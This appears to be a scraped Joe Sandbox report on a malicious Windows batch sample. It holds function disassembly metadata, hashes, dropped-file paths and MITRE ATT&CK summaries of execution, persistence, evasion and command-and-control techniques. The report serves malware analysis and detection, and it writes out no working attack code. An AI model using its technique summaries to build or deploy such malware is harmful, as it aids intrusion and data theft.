Opcode Fuzzy Hash: 054785f2dc11e63dcc368558f840ff2efec75e414699e4b5656b7e181fc06007
Instruction Fuzzy Hash: 6D11E1706042068BDB12CF19C84575ABBF5BF84358F048268F545A7688CB35ED60CBD2

Function 00366089 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0036609F
_strdup.MSVCRT(?), ref: 003660C0

Strings

a, xrefs: 00366089

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: a
API String ID: 1865132094-3904355907
Opcode ID: 83195d2a79240eec1e44ec34a1e8ff27cb449eafe9515311122cdc77073cbc21
Instruction ID: 3adb0f20bf5f11a2646549019835f39ab05b33314e7038c4d9222bbe8770730e
Opcode Fuzzy Hash: 83195d2a79240eec1e44ec34a1e8ff27cb449eafe9515311122cdc77073cbc21
Instruction Fuzzy Hash: 9811C4706082418BEB52CF18C448B9AB7E4BB88388F18867DE4899B2C5CB37CC91C752

Function 003680DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003680F8
_strdup.MSVCRT(?), ref: 00368119

Strings

SRP, xrefs: 003681E5

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: SRP
API String ID: 1865132094-1918707673
Opcode ID: 76b8b0a65fda2efe169044f7220dfb130aff889a8504e505a3c579fcef2eec07
Instruction ID: 0b5cec8eb3eeba11e30ab8c04b26de14854901729407d00488fb044bf904ad85
Opcode Fuzzy Hash: 76b8b0a65fda2efe169044f7220dfb130aff889a8504e505a3c579fcef2eec07
Instruction Fuzzy Hash: EC01F9F0F0024187EB51CF24DC49BA67BA8AF98344F14C635EC0ADB745DE36D95687A1

Function 00369DE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00369E00

Strings

curl: , xrefs: 00369DFB
curl: try 'curl --help' or 'curl --manual' for more information, xrefs: 00369E15

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fwrite
String ID: curl: $curl: try 'curl --help' or 'curl --manual' for more information
API String ID: 3559309478-456511577
Opcode ID: f232d11f8138aba352ef1441e36cdbeb6b2d714200d1b6df30ac8214fa78bcb6
Instruction ID: 7c1c81bf786f20ddce3fd68816f8d807aca25f7b3eaceab3659707dc2ceca8e8
Opcode Fuzzy Hash: f232d11f8138aba352ef1441e36cdbeb6b2d714200d1b6df30ac8214fa78bcb6
Instruction Fuzzy Hash: ECE0D875A4421076C521FE04BC46E4FBFA9DFC1B50F050418F88866286E232661482B3

Function 00394300 Relevance: 5.1, APIs: 4, Instructions: 98stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 0039435C
strchr.MSVCRT ref: 0039436D
strlen.MSVCRT ref: 0039437C

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strchr$strlen
String ID:
API String ID: 842768466-0
Opcode ID: 352061cc7754799f6cf7d0344839b16797a69da57b14693d9633cb13d59944d5
Instruction ID: fbaeb6de5d6ad4fc48f43b9b2eaa17a77b0559a87b5845b1b065d9075fb0b6f0
Opcode Fuzzy Hash: 352061cc7754799f6cf7d0344839b16797a69da57b14693d9633cb13d59944d5
Instruction Fuzzy Hash: A41106AAA0036213EE2216762CD6F6B3ADC4F52385F0E0475ECC9EB102F615CD268271

Function 0037EDF0 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 0037EE36
strchr.MSVCRT ref: 0037EE48
strlen.MSVCRT ref: 0037EE5B
strncmp.MSVCRT ref: 0037EE89

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strchrstrcmpstrlenstrncmp
String ID:
API String ID: 1049578524-0
Opcode ID: 719d282baa36e4038b144ef9c9764f388a972d0c5948d8ab3ec00f0450bd660f
Instruction ID: 73c868c862a30853c52b76974ce2efe8ca8fbe0d3f75e97127087bff9ad30cbf
Opcode Fuzzy Hash: 719d282baa36e4038b144ef9c9764f388a972d0c5948d8ab3ec00f0450bd660f
Instruction Fuzzy Hash: B811D371A043469BDB369A658CC4A77B7E8AF89344F06896CEC8C87605E735E900C6E1

Function 005EC240 Relevance: 5.1, APIs: 4, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,00000000,005EC439), ref: 005EC267
EnterCriticalSection.KERNEL32(?,?,?,00000000,005EC439), ref: 005EC298

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: CriticalEnterSectionSleep
String ID:
API String ID: 3080175056-0
Opcode ID: 22bcbf31252706b4ff8347b413070bd8512443745929d106fe9a6390d696fb4e
Instruction ID: 98de9ebeea9ce766577c31a8fc798aa97ee4207757057e4ad79a0088a0c3c76e
Opcode Fuzzy Hash: 22bcbf31252706b4ff8347b413070bd8512443745929d106fe9a6390d696fb4e
Instruction Fuzzy Hash: F61170F64041808ADF25ABB9F88515A3FE2FB05350F160A29D5C6C7226EE36D8D5C793

Function 0036E510 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0036E535
free.MSVCRT ref: 0036E547
free.MSVCRT ref: 0036E559
free.MSVCRT ref: 0036E562

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 63f7efdc8d9b193a621dfa2e9f9ec4736cbad6aa47e5b5c40ff63df73e0662dd
Instruction ID: b87357d6add12edc7fe9dc9d4e3f9a9a2d99ff1829d479662bc6c99a4e4b2a2f
Opcode Fuzzy Hash: 63f7efdc8d9b193a621dfa2e9f9ec4736cbad6aa47e5b5c40ff63df73e0662dd
Instruction Fuzzy Hash: C2F082F640065267DB115F12DC45B47FB74BF84314F148A3AE66927210F732F82886A1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report D0WmCTD2qO.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\cfg.cmd (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.url (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Discord.ico (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Discord.png (copy)

Windows Analysis Report
D0WmCTD2qO.bat

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre